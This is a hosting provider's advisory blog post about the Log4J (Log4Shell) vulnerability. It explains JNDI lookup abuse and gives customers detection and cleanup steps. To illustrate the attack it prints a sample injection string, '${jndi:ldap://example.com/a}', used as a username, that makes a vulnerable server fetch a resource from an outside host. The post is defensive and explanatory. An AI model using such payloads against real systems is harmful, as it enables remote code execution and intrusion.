The services we manage and operate are not affected by the Log4J vulnerability. However, our VPS customers should check the systems they manage: this article provides useful steps and tips on how to do it.
Last Thursday, a critical zero-day vulnerability was discovered in the logging utility Log4J. It is very likely you have already heard about this, since it was widely reported in mainstream media. And that is not without reason: Log4J is a very common component in thousands of applications.
As standard procedure, we investigated our own infrastructure for the use of Log4J. Fortunately we did not find any exploitable apps under our supervision. The versions of systems we operate that do use Log4J are not affected by the vulnerability (Zimbra, Confluence, and ElasticSearch).
However, we strongly advise our clients to investigate their services to see if they are running software affected by the vulnerability.
What is Log4J?
Before the weekend, Log4j was a relatively unknown piece of software. It is a logging utility which is often (but not solely) combined with Java applications. Applications create log entries, which are crucial for detecting problems in them, and to implement security measures.
For example, if someone tries to log in with the wrong credentials on a website, an application can log a message about this fact. Apart from this being useful information for humans to read during investigation of problems, logging is also used by automated processes: examples are the automatic blocking of an IP, or sending an email to a user that their account has been accessed from a new location.
As a matter of fact, one of our (D)DoS mitigation strategies is exactly based on this, where the log entries help identify which IP addresses are likely to take part in an attack, so we can temporarily block them.
When you are running a large application like Minecraft, you can imagine this results into a very large volume of "log lines" created each second. Log4J is very efficient in processing this kind of super-high volume, and for that reason it is used in many large applications.
What went wrong?
So, log lines give a summary of what happened and when. They are often enriched with data derived from the request. To clarify this, please compare this log-line:
1
[2021-12-09 14:32:43 +0200 UTC] A user failed to log in
to this log-line:
1
2
3
[2021-12-09 14:32:43 +0200 UTC] User "joe" failed to login (User-Agent:
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0 IP:
1.2.3.4
Although they specify the same event, the second line is much more useful than the first. With the username, browser and IP address it is much easier to debug potential problems, or block a specific user/IP.
Log4j makes it possible to apply all kinds of filters to log files. So you can specify criteria about which log file or process log entries get saved in, and what to do with the received information.
In short, Log4j can format, split and pre-process log lines. One of the features which is the culprit, is the support of "JNDI Lookup". This is a Java-specific process to lookup information based on a URI-like specification of external data.
Fully explaining the internals of JNDI is beyond the scope of this blog, but in short it means that you can have something like this in your log line:
${jndi:ldap://example.com/a}
Log4J will contact the server example.com to get the resource a, and process it. So, if an end-user can manipulate what is written in the log files, it can force the loading of an external resource and potentially elevate this vulnerability.
As we showed earlier, log files are made more useful by enriching data from the request. If an attacker changes its username from joe to something like
${jndi:ldap://example.com/a}, they can (on a vulnerable system) gain control of the logging process and potentially infiltrate the network.
Because logging servers are often separated from the application server, it is not unlikely that the logging server is actually behind some first line defence, like a firewall. This makes this vulnerability extra sensitive, as it is a fast-track to bypass those defenses.
What should I do?
If you are a webhosting customer, there is not a lot to worry about. We provide a LAMP stack and there is no Log4J involved. Java is not available by default on our hosting packages, and there are some measures in place which prevent loading Java at all. So even in the most complex setups, it is highly unlikely Log4J is involved.
If you are a VPS customer however, the story is different. You have full control of the applications you are running, so you might have installed apps or processes that use Log4J. So we strongly advise to check which software you have installed, and/or if Log4J is somewhere on the system.
If you found a vulnerable system, it is likely that it has already been compromised (first signs of the 0-day being exploited trace back to beginning of December). At this point, we are seeing a huge amount of attempts to break into weak (Log4j) systems, so: assume the worst. Especially if you encounter problems with your application(s) such as high CPU load or slow loading/access, this can be an indication that you are affected. Check the below steps carefully.
1. Check the software you use
Before analysing your systems yourself, it makes sense to see if your software suppliers already investigated the risks. Lots of them already have, and specified potential risks as well as offer potential solutions, like a mitigation or a patch. Check their websites, and/or search for security advisories related to your software and Log4J.
2. Check if your system is already actively exploited
Use applications like top or ps to see if there are suspicious processes running. A common use of the exploit is to start mining bitcoins or sending out spam from your system. This usually results in a strong increase of CPU usage. Those tools can help to identify those processes. If you identify those processes, you can "stop" them with the "kill" command, specifying the process ID (PID): kill -STOP <PID>. By stopping them instead of killing them, you can still browse the /proc/<PID> folder to see where the
process is hiding and what it is doing potentially. Also in the case of ransomware, a killed process can potentially remove essential keys from memory, making recovery more difficult.
3. Search for Log4J
Your system may be vulnerable, but not yet actively exploited. Search for references to Log4J on your system. Usually the configuration of Log4J is specified in the file log4j.properties. The application itself is often to in a file like log4j*.jar. Looking for those file patterns can help you to find installations of log4j. Check if you have a vulnerable version installed (< 2.15), and update it.
I'm not affected: am I in the clear?
Good news, it seems be you are not affected. But we advise to be careful. Some attacks are maybe designed to kick in later (ransomware for example). Check if you can access all your data, and if the backup you have is also complete and not compromised. Keep an eye on those processes for some time and be alerted if something unexpected happens.
I'm affected: now what?
Your best option is to restore your system from a backup, and patch Log4J before starting the services on your system. That is how you can have the highest confidence that your system is not being abused or altered, and has valid data.
If that is not a possibility, pause your services as soon as possible and update or patch your Log4J installation. How to do that really depends on your application and use case. Follow the guidelines of your software supplier(s).
Once we assume that is fixed, you will need to clean up your system. First, stop all suspicious processes (see under 2, above).
Often these kinds of attacks are designed to restart themselves after a system administrator killed the processes. There are several ways to do that. A good starting point is to look for recent changed files:
find -mtime -5 /
If there are files like crontab, /var/spool/cron/* or ~home/.bash{rc|_logout}, pay attention to them. These are very likely entry-points to restart the application of the attacker.
But also look at automated scheduled processes of the application(s) you are using, and unexpected files in your web folders. Those are common places to store processes and command files that will restart an attack/application.
If you have the possibility, after the cleanup, we strongly advise to re-install the entire system and transfer the data to the clean system.
Last but not least, if the attack is ransomware based, the attackers might be trying to encrypt your data, which you might discover only at a later time. This is the time to make sure your backups are valid, and that you can recover from them. If you are affected by a ransomware attack, there is a bigger chance you can recover the data now, then after the ransomware kicks in.
These are very general guidelines. Different applications and use cases can require different approaches. If you need assistance, please contact us directly.